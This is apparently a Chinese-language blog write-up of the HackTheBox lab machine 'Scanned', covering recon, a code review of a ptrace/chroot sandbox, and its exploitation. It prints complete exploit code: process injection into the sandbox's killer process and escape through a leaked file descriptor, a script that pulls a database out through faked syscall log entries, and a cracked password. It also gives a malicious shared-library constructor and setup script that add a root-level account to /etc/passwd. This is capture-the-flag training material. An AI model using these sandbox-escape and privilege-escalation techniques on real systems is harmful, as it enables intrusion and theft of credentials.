HackTheBox-Machines Scanned Writeup

kazma 成大資安社 創辦人/社長

Scanned

今天在神盾決賽前練習一些滲透測試,打算跟著官方 writeup 刷一些 insane 高分的機器。

Recon

首先我們先做 nmap,但這邊官方提供了一些參數設定讓掃描速度提升:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌─[sg-dedivip-1]─[10.10.14.22]─[kazma@htb-5fjpirbhiq]─[~]
└──╼ [★]$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.237.62 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
┌─[sg-dedivip-1]─[10.10.14.22]─[kazma@htb-5fjpirbhiq]─[~]
└──╼ [★]$ nmap -p$ports -sC -sV 10.129.237.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 02:56 CST
Nmap scan report for 10.129.237.62
Host is up (0.0017s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 6a:7b:14:68:97:01:4a:08:6a:e1:37:b1:d2:bd:8f:3f (RSA)
| 256 f6:b4:e1:10:f0:7b:38:48:66:34:c2:c6:28:ff:b8:25 (ECDSA)
|_ 256 c9:8b:96:19:51:e7:ce:1f:7d:3e:44:e9:a4:04:91:09 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Malware Scanner
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds

  • -p-: 掃描所有 65535 個 TCP 端口。
  • –min-rate=1000: 確保掃描速率至少為 1000 個包/秒,加快掃描。
  • -T4: 使用更積極的時間參數,降低掃描延遲,但仍保持穩定性。
    第一部分是盡快速的全端口掃描然後格式化輸出為正確的 ports 參數格式例如:22,80,443,然後把結果賦值給變數 ports。
    然後第二個指令再針對開放的端口進行以下檢查:
  • -sC: 使用 nmap 的內建腳本執行基本檢查(如默認憑證、常見漏洞、目標系統資訊)。
  • -sV: 探測服務的版本信息,方便確認具體軟件及其潛在漏洞。

然後從掃描結果我們可以看到他有個網頁服務叫做 Malware Scanner,透過瀏覽器訪問我們可以看到首頁有他的服務使用說明,我們可以透過上傳我們不信任的執行檔上去,他會幫我們在一個安全的環境測試,他會幫我們列出他使用到的 syscalls 和 arguments,然後根據危險程度排列,另外我們還可以得知他是用 Debian 11 去執行的,其中有使用到 chroot, user namespaces, ptrace 等工具做檢測,最後他有附上他這個 scanner 的 source code。
解壓縮之後我們可以拿到兩個資料夾,malscanner 跟 sandbox,街著就來做 code review:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/capability.h>


struct user_cap_header_struct {
int version;
pid_t pid;
};
struct user_cap_data_struct {
unsigned int effective;
unsigned int permitted;
unsigned int inheritable;
};


int copy(const char* src, const char* dst);
void do_trace();
int jailsfd = -1;

#define DIE(err) fprintf(stderr, err ": (%d)\n", errno); exit(-1)

// Take a 16 byte buffer and generate a pseudo-random UUID
void generate_uuid(char* buf) {
srand(time(0));
for (int i = 0; i < 32; i+=2) {
sprintf(&buf[i], "%02hhx", (char)(rand() % 255));
}
}

// Check we have all required capabilities
void check_caps() {
struct user_cap_header_struct header;
struct user_cap_data_struct caps;
char pad[32];
header.version = _LINUX_CAPABILITY_VERSION_3;
header.pid = 0;
caps.effective = caps.inheritable = caps.permitted = 0;
syscall(SYS_capget, &header, &caps);
if (!(caps.effective & 0x2401c0)) {
DIE("Insufficient capabilities");
}
}

void copy_libs() {
char* libs[] = {"libc.so.6", NULL};
char path[FILENAME_MAX] = {0};
char outpath[FILENAME_MAX] = {0};
system("mkdir -p bin usr/lib/x86_64-linux-gnu usr/lib64; cp /bin/sh bin");
for (int i = 0; libs[i] != NULL; i++) {
sprintf(path, "/lib/x86_64-linux-gnu/%s", libs[i]);
// sprintf(path, "/lib/%s", libs[i]);
sprintf(outpath, "./usr/lib/%s", libs[i]);
copy(path, outpath);
}
copy("/lib64/ld-linux-x86-64.so.2", "./usr/lib64/ld-linux-x86-64.so.2");
system("ln -s usr/lib64 lib64; ln -s usr/lib lib; chmod 755 -R usr bin");
}

// Create PID and network namespace
void do_namespaces() {
if (unshare(CLONE_NEWPID|CLONE_NEWNET) != 0) {DIE("Couldn't make namespaces");};
// Create pid-1
if (fork() != 0) {sleep(6); exit(-1);}
mkdir("./proc", 0555);
mount("/proc", "./proc", "proc", 0, NULL);
}

// Create our jail folder and move into it
void make_jail(char* name, char* program) {
jailsfd = open("jails", O_RDONLY|__O_DIRECTORY);
if (faccessat(jailsfd, name, F_OK, 0) == 0) {
DIE("Jail name exists");
}
int result = mkdirat(jailsfd, name, 0771);
if (result == -1 && errno != EEXIST) {
DIE( "Could not create the jail");
}

if (access(program, F_OK) != 0) {
DIE("Program does not exist");
}
chdir("jails");
chdir(name);
copy_libs();
do_namespaces();
copy(program, "./userprog");
if (chroot(".")) {DIE("Couldn't chroot #1");}
if (setgid(1001)) {DIE("SGID");}
if (setegid(1001)) {DIE("SEGID");}
if (setuid(1001)) {DIE("SUID");};
if (seteuid(1001)) {DIE("SEUID");};
do_trace();
sleep(3);
}

int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: %s <program> [uuid]\n", argv[0]);
exit(-2);
}
if (strlen(argv[1]) > FILENAME_MAX - 50) {
DIE("Program name too long");
}
if ((argv[1][0]) != '/') {
DIE("Program path must be absolute");
}
umask(0);
check_caps();
int result = mkdir("jails", 0771);
if (result == -1 && errno != EEXIST) {
DIE( "Could not create jail directory");
}
char uuid[33] = {0};
if (argc < 3) {
generate_uuid(uuid);
} else {
memcpy(uuid, argv[2], 32);
}
uuid[32] = 0;
make_jail(uuid, argv[1]);
}

我們可以透過作者貼心的註解快速了解裡面的功能:

  • 會檢查執行檔的特權是否有開 CAP_SYS_ADMIN|CAP_SYS_CHROOT|CAP_SETUID|CAP_SETGID|CAP_SETPCAP
  • 然後創建 jails 這個資料夾,然後在底下創建一個子目錄名稱為上傳檔案的 md5,可以從 malscanner/scanner/views.py 得知。
  • 使用 setegid(1001)、setuid(1001) 和 seteuid(1001),將執行程序的進程權限降級到非特權用戶(ID 為 1001)。
  • 然後會檢查以下的項目
    • 必須提供要執行的程序路徑(絕對路徑)。
    • 檢查程序名稱是否過長,並生成或使用 UUID 來標識該執行過程。
    • 確保工作目錄存在,否則報錯並退出。
  • 沙箱中的運行程序
    • 會創建新的 PID 和網路命名空間。
    • 將新的 /proc 文件掛載到沙箱目錄中。
    • 然後將用戶上傳的程序複製到沙箱內的 /userprog。
    • 移除所有進程的 capabilities,進一步降低權限。
  • 執行用戶程序並記錄系統調用,會 fork 成三個進程
    • 子進程:執行上傳的程序
    • 殺手進程(killer):在 5 秒後終止子進程
    • 紀錄進程(logger):記錄子進程的系統調用,便於之後分析。
      接著我們看 tracing.c:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      114
      115
      116
      117
      118
      119
      120
      121
      122
      123
      124
      125
      126
      127
      128
      129
      130
      131
      132
      133
      134
      135
      136
      137
      138
      139
      #define _GNU_SOURCE
      #include <stdlib.h>
      #include <unistd.h>
      #include <stdio.h>
      #include <errno.h>
      #include <signal.h>
      #include <fcntl.h>

      #include <sys/ptrace.h>
      #include <sys/reg.h>
      #include <sys/wait.h>
      #include <sys/syscall.h>
      #include <sys/user.h>
      #include <sys/prctl.h>
      #include <sys/signal.h>
      #include <sys/syscall.h>
      #include <linux/capability.h>


      #define DIE(err) fprintf(stderr, err ": (%d)\n", errno); exit(-1)
      extern int jailsfd;

      void do_child();
      void do_killer(int pid);
      void do_log(int pid);
      void log_syscall(struct user_regs_struct regs, unsigned long ret);


      struct user_cap_header_struct {
      int version;
      pid_t pid;
      };
      struct user_cap_data_struct {
      unsigned int effective;
      unsigned int permitted;
      unsigned int inheritable;
      };


      void do_trace() {
      // We started with capabilities - we must reset the dumpable flag
      // so that the child can be traced
      prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);
      // Remove dangerous capabilities before the child starts
      struct user_cap_header_struct header;
      struct user_cap_data_struct caps;
      char pad[32];
      header.version = _LINUX_CAPABILITY_VERSION_3;
      header.pid = 0;
      caps.effective = caps.inheritable = caps.permitted = 0;
      syscall(SYS_capget, &header, &caps);
      caps.effective = 0;
      caps.permitted = 0;
      syscall(SYS_capset, &header, &caps);
      int child = fork();
      if (child == -1) {
      DIE("Couldn't fork");
      }
      if (child == 0) {
      do_child();
      }
      int killer = fork();
      if (killer == -1) {
      DIE("Couldn't fork (2)");
      }
      if (killer == 0) {
      do_killer(child);
      } else {
      do_log(child);
      }
      }

      void do_child() {
      // Prevent child process from escaping chroot
      close(jailsfd);
      prctl(PR_SET_PDEATHSIG, SIGHUP);
      ptrace(PTRACE_TRACEME, 0, NULL, NULL);
      char* args[] = {NULL};
      execve("/userprog", args, NULL);
      DIE("Couldn't execute user program");
      }

      void do_killer(int pid) {
      sleep(5);
      if (kill(pid, SIGKILL) == -1) {DIE("Kill err");}
      puts("Killed subprocess");
      exit(0);
      }

      void do_log(int pid) {
      int status;
      waitpid(pid, &status, 0);
      struct user_regs_struct regs;
      struct user_regs_struct regs2;
      while (1) {
      // Enter syscall
      ptrace(PTRACE_SYSCALL, pid, 0, 0);
      waitpid(pid, &status, 0);
      if (WIFEXITED(status) || WIFSIGNALED(status)) {
      puts("Exited");
      return;
      }
      ptrace(PTRACE_GETREGS, pid, 0, &regs);
      // Continue syscall
      ptrace(PTRACE_SYSCALL, pid, 0, 0);
      waitpid(pid, &status, 0);
      ptrace(PTRACE_GETREGS, pid, 0, &regs2);
      log_syscall(regs, regs2.rax);
      }
      }

      typedef struct __attribute__((__packed__)) {
      unsigned long rax;
      unsigned long rdi;
      unsigned long rsi;
      unsigned long rdx;
      unsigned long r10;
      unsigned long r8;
      unsigned long r9;
      unsigned long ret;
      } registers;

      void log_syscall(struct user_regs_struct regs, unsigned long ret) {
      registers result;
      result.rax = regs.orig_rax;
      result.rdi = regs.rdi;
      result.rsi = regs.rsi;
      result.rdx = regs.rdx;
      result.r10 = regs.r10;
      result.r8 = regs.r8;
      result.r9 = regs.r9;
      result.ret = ret;
      int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
      if (fd == -1) {
      return;
      }
      write(fd, &result, sizeof(registers));
      close(fd);
      }
      這裡有兩個漏洞:
  • Dumpable 標誌的錯誤設定:
    • do_trace() 函數中,prctl(PR_SET_DUMPABLE, 1) 把 dumpable 的標誌設置為 1。
    • 開啟 dumpable 允許程式 traceable
    • 問題就出在他設定的時間是在 fork 之前,導致 fork 出來的三個進程都是 traceable 的,這就導致我們可以利用其他沒有受到 chroot 限制的進程來 escape。
  • 未完全關閉文件描述符(File Descriptor):
    • do_child() 函數中,close(jailsfd) 關閉了一個指向 jails 目錄的文件描述符,為了防止子進程通過文件描述符訪問沙箱外的資源。
    • 問題出在他只有在子進程關閉,killer 跟 logger 仍然是開啟的,攻擊者就可以利用他們訪問外部資源。

總結上面的描述,我們可以設計一個執行檔,執行以下的操作:

  • 先利用 dumpable 的漏洞
    • 通過 ptrace 追蹤未被 chroot 限制的進程(如 killer 或 logger)。
    • 因為即使這些進程在沙箱內,它們仍然持有外部資源的文件描述符,我們可以通過這些進程訪問沙箱外部。
  • 利用文件描述符 sandbox escape
    • 我們可以透過未關閉的 jailsfd 文件描述符訪問沙箱外的文件系統。
    • 例如,我們可以讀取 /var/www/malscanner/malscanner.db 資料庫文件,提取憑證或其他敏感信息。
  • 結合 PID 命名空間:
    • 沙箱使用了 PID 命名空間,每個進程的 PID 是固定的:
      • PID 1: logger
      • PID 2: child
      • PID 3: killer
    • 我們可以直接鎖定 killer 進程,注入我們的 payload 來攻擊。

Exploit

官方參考這個 repo 寫了下面的執行檔:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/syscall.h>

void do_stage_1();
void do_stage_2();
void log_data(char *data, unsigned long size);
void inject();
void guard();
void putdata(pid_t child, unsigned long long addr, char *str, int len);

void putdata(pid_t child, unsigned long long addr, char *str, int len) {
char *laddr;
int i, j;
union u {
long val;
char chars[sizeof(long)];
} data;

i = 0;
j = len / sizeof(long);
laddr = str;

while (i < j) {
memcpy(data.chars, laddr, sizeof(long));
if (ptrace(PTRACE_POKEDATA, child, (void *)addr + i * sizeof(long), data.val) != 0) {
printf("Error poking - %d\n", errno);
return;
}
++i;
laddr += sizeof(long);
}

j = len % sizeof(long);
if (j != 0) {
memcpy(data.chars, laddr, j);
ptrace(PTRACE_POKEDATA, child, (void *)addr + i * sizeof(long), data.val);
}
}

void do_stage_1() {
const int pid = 3;
printf("Child is %d\n", getpid());

if (ptrace(PTRACE_ATTACH, pid, 0, 0) != 0) {
perror("Attaching");
return;
}

wait(NULL);
printf("[*] Attached\n");

struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, NULL, &regs) != 0) {
perror("Get regs");
return;
}
printf("[*] Got regs\n");

putdata(pid, regs.rip, (char *)inject, (int)((unsigned long)&guard - (unsigned long)&inject));
printf("[*] Wrote data\n");

if (ptrace(PTRACE_DETACH, pid, 0, 0) != 0) {
perror("Detach");
return;
}
puts("[*] Detached!");
sleep(5);
}

void do_stage_2() {
puts("Stage 2 - currently running in killer");
const int fd = 3;

int cwd = open(".", O_RDONLY | O_DIRECTORY);
if (cwd < 0) {
perror("Open current directory");
return;
}

if (fchdir(fd) != 0) {
printf("fchdir() = %d\n", errno);
return;
}

if (chdir("../../../../../../../../../../") != 0) {
printf("chdir() = %d\n", errno);
return;
}

int file_fd = open("./var/www/malscanner/malscanner.db", O_RDONLY);
if (file_fd < 0) {
perror("Open malscanner.db");
return;
}

char *buf = calloc(1, 200000);
if (!buf) {
perror("Memory allocation");
close(file_fd);
return;
}

unsigned long size = read(file_fd, buf, 200000);
close(file_fd);
fchdir(cwd);

log_data(buf, size);
free(buf);
}

void inject() {
char program[] = "/userprog";
char *arg[3] = {program, "2", 0};

asm("movq $59, %%rax; movq %0, %%rdi; movq %1, %%rsi; xor %%rdx, %%rdx; syscall;"
:
: "r"(program), "r"(arg)
: "rax", "rdi", "rsi", "rdx");
}

void guard() {}

int main(int argc, char **argv) {
if (argc < 2) {
do_stage_1();
} else {
do_stage_2();
}
}

void log_data(char *data, unsigned long size) {
int fd = open("log", O_WRONLY | O_APPEND, 0777);
if (fd < 0) {
perror("Open log");
return;
}

lseek(fd, 0, SEEK_END);
int offset = 0;
char buf[8 * 8] = {0};

while (offset < size) {
((unsigned long *)buf)[0] = 0x1337;
memcpy(&buf[7 * 8], &data[offset], 8);
write(fd, buf, sizeof(buf));
offset += 8;
}

close(fd);
}

inject() 是核心邏輯,因為注入環境受限,像是無法預期程式的載入位置或是獲取符號表,所以函式要盡可能的簡單短小,所以可以看到上面直接使用組合語言操作底層資源。
注入的目的是讓程式可以重新執行自身,並進一步突破沙盒限制,重新執行的時候會戴上兩個關鍵改變:

  • 傳遞參數 2 來觸發 do_stage_2()
  • 此時程式已經持有一個沙盒外部的 File Descriptor
    第二階段處理:
  • 沙盒本身限制了網路訪問,所以不能過通過常規的方式,如 http 請求來傳輸資料。
  • 而唯一能從沙盒中輸出訊息的方式是 log,在 training.c 中日誌的格式被明確定義,這成為資料外洩的入口,在 training.c 中,我們可以看到下面的格式:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    typedef struct __attribute__((__packed__)) {
    unsigned long rax;
    unsigned long rdi;
    unsigned long rsi;
    unsigned long rdx;
    unsigned long r10;
    unsigned long r8;
    unsigned long r9;
    unsigned long ret;
    } registers;
    我們可以偽造系統調用編號 0x1337,因為這個編號遠超過系統調用的合法範圍,避免和真實的調用衝突。
    然後我們透過日誌系統調用的 ret 來將要外洩的資料分塊處理,每次寫入 8 個字節。
    那為了避免發生 race condition 同時紀錄其他系統調用到日誌系統,所以我們可以讓原始進程進入睡眠,避免其他系統調用干擾。
    我們可以使用 musl-gcc 編譯來確保跨平台執行。
    上傳之後如果我們看到 ignored 有一堆帶著 4919 的 syscalls,就代表我們的惡意程式被成功執行,接著我們就可以嘗試寫一個 python 腳本來幫我們反轉 log_data 的邏輯:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    import requests
    import sys
    import re
    import struct
    if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <url>")
    exit(-1)
    r = requests.get(sys.argv[1])
    calls = re.findall(r"sys_4919\(\) = 0x([a-f0-9]+)", r.text, re.MULTILINE)
    exfil = b""
    for val in calls:
    exfil += struct.pack("Q", int(val, 16))
    print(exfil.decode())
    然後我們可以執行來看 leak 的資料:
    1
    2
    ┌─[sg-dedivip-1]─[10.10.14.22]─[kazma@htb-5fjpirbhiq]─[~/Downloads/sandbox]
    └──╼ [★]$ python3 help.py http://10.129.237.62/viewer/012404b2081624a252957a599dd1a10c/; cat out
    接著拿到 hash 之後換成正確的格式用 hashcat 爆破,拿到密碼 onedayyoufeellikecrying,有了可能得 ssh 密碼後我們可以重複剛剛的操作去撈 /etc/passwd 來找尋可能對應的 username,我們可以發現有個 user clarence,ssh 上去之後就可以在家目錄拿到 user flag 了!

Privilege Escalation

接下來我們要講一下 chroot,他的作用是將系統對絕對路徑以 / 開頭的路徑的解析限制到指令的根目錄下,通常是用在沙盒化,讓程式只能訪問被隔離的檔案。而只有 root 可以執行 chroot,因為它會改變應用程式對檔案系統的看法,如果非 root 使用者能夠使用可能會有題權危險。
那我們的攻擊思路如下:

  • 首先我們先創建一個惡意的 library 命名成 /lib/libc.so.6 包含帶有 constructor 的程式碼,利用腳本把必要的檔案包含這個惡意的 library 複製到 /lib 中的目錄。
  • 程式在執行後會注入到 killer 中
  • 使用 fchdir 進行 sandbox escape
  • 就能夠到外面執行 /bin/su,如此 su 就會加載到剛剛的惡意 library 讓我們拿到 root 權限

那在開始前,我們可以先看 /bin/su 正常在執行時會 load 的 libraries:

1
2
3
4
5
6
7
8
9
10
11
clarence@scanned:~$ ldd /bin/su
linux-vdso.so.1 (0x00007ffed15f3000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f9bdc63a000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007f9bdc635000)
libutil.so.1 => /lib/x86_64-linux-gnu/libutil.so.1 (0x00007f9bdc630000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9bdc46b000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007f9bdc43a000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f9bdc434000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9bdc666000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007f9bdc42a000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f9bdc408000)

其中可以看到 libpam_misc.so.0 是一個和 PAM(Pluggable Authentication Module)相關的共享庫,通常被身份驗證相關的應用程序加載,在這邊就很適合作為我們覆蓋的目標。
我們的目標是在系統中創建一個新用戶 root2,並賦予其 root 權限,做法是通過在 /etc/passwd 下面的內容:

1
root2:x:0:0:root:/root:/bin/bash

接著我們把新的 exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/prctl.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/syscall.h>

void do_stage_1();
void do_stage_2();
void log_data(char* data, unsigned long size);
void inject();
void guard();

void putdata(pid_t child, unsigned long long addr, char* str, int len) {
char* laddr;
int i, j;
union u {
long val;
char chars[sizeof(int)];
} data;

i = 0;
j = len / sizeof(int);
laddr = str;
while (i < j) {
memcpy(data.chars, laddr, sizeof(int));
if (ptrace(PTRACE_POKEDATA, child, (void*)addr + i * sizeof(int), data.val) != 0) {
printf("Error poking - %d\n", errno);
return;
}
++i;
laddr += sizeof(int);
}

j = len % sizeof(int);
if (j != 0) {
memcpy(data.chars, laddr, j);
ptrace(PTRACE_POKEDATA, child, (void*)addr + i * sizeof(int), data.val);
}
}

void do_stage_1() {
const int pid = 3;
printf("Child is %d\n", getpid());

if (ptrace(PTRACE_ATTACH, pid, 0, 0) != 0) {
perror("Attaching");
return;
}

wait(NULL);
printf("[*] Attached\n");

struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, NULL, &regs) != 0) {
perror("Get regs");
return;
}
printf("[*] Got regs\n");

putdata(pid, regs.rip, (char*)inject, (int)(&guard - &inject));
printf("[*] Wrote data\n");

if (ptrace(PTRACE_DETACH, pid, 0, 0) != 0) {
perror("Detach");
return;
}
puts("[*] Detached!");
sleep(5);
}

void do_stage_2() {
puts("Stage 2 - currently running in killer");

const int fd = 3;
int cwd = open(".", O_RDONLY | O_DIRECTORY);
int status;

status = fchdir(fd);
if (status != 0) {
printf("fchdir() = %d\n", errno);
return;
}

status = chdir("../../../../../../../../../../");
if (status != 0) {
printf("chdir() = %d\n", errno);
return;
}

sleep(1);

char* args[] = {"bin/su", NULL};
execve("bin/su", args, NULL);
puts("Failed to su");
}

void inject() {
char program[] = "/userprog";
char* arg[3] = {program, "2", 0};
asm("movq $59, %%rax; movq %0, %%rdi; movq %1, %%rsi; xor %%rdx, %%rdx; syscall;"
:
: "r"(program), "r"(arg)
: "rax", "rdi", "rsi", "rdx");
}

void guard() {}

int main(int argc, char** argv) {
if (argc < 2) {
do_stage_1();
} else {
do_stage_2();
}
}

以及新的惡意 library:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <sys/prctl.h>

// `libpam_misc.so.0` is expected to define this symbol
void misc_conv() { return; }

static __attribute__((constructor)) void init(void) {
printf("Hello from constructor, I am %d:%d (%d:%d)\n", getuid(), geteuid(), getgid(), getegid());

// Make ourselves root proper
printf("SEUID %d %d\n", seteuid(0), errno);
printf("SUID %d %d\n", setuid(0), errno);

// Restore the true system root
printf("Chroot %d %d\n", chroot("../../../../../../"), errno);
chdir("/");

// Add a new record to /etc/passwd (password: suidroot)
char *args[] = {
"/bin/sh",
"-p",
"-c",
"echo 'root2:YiY4/N2td230w:0:0:root:/root:/bin/bash' >> /etc/passwd",
NULL
};
execve("/bin/sh", args, NULL);

puts("Execve failed");
}

編譯完透過 scp 丟到 remote server。

1
2
3
musl-gcc main.c -fPIC -static -fno-stack-protector -o exploit
gcc -shared -fPIC -o evil.so mal_lib.c
scp exploit evil.so [email protected]:/tmp

接著我們在 /tmp 下面寫一個腳本把這兩個 processess 綁在一起:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

FOLDER=$(pwgen 10 1)
mkdir "$FOLDER"
cp exploit evil.so "$FOLDER"
cd "$FOLDER" || exit
mkdir -p jails/a/usr/lib/x86_64-linux-gnu/
/var/www/malscanner/sandbox/sandbox "$(pwd)/exploit" a &
sleep 0.1
cp /usr/lib/x86_64-linux-gnu/{libutil.so.1,libpam.so.0,libaudit.so.1,libcap-ng.so.0,libdl.so.2,libpthread.so.0} jails/a/usr/lib/x86_64-linux-gnu/
cp evil.so jails/a/usr/lib/x86_64-linux-gnu/libpam_misc.so.0
chmod +x jails/a/usr/lib/x86_64-linux-gnu/

然後給他執行權限後跑起來就可以看到以下畫面:

1
2
3
4
5
6
7
8
9
10
11
12
13
clarence@scanned:/tmp$ ./exploit.sh 
Child is 2
[*] Attached
[*] Got regs
[*] Wrote data
[*] Detached!
clarence@scanned:/tmp$ Stage 2 - currently running in killer
Exited
bin/su: /lib/x86_64-linux-gnu/libpam_misc.so.0: no version information available (required by bin/su)
Hello from constructor, I am 1001:0 (1001:1001)
SEUID 0 0
SUID 0 0
Chroot 0 0

然後看 /etc/passwd 就可以看到 root2 被寫到裡面了,接著我們就可以用密碼 suidroot 來執行 su root2。

Pwned!!!

pwn

  • Title: HackTheBox-Machines Scanned Writeup
  • Author: kazma
  • Created at : 2024-11-15 16:35:09
  • Updated at : 2024-11-15 20:37:28
  • Link: https://kazma.tw/2024/11/15/HackTheBox-Machines-Scanned-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
HackTheBox-Machines Scanned Writeup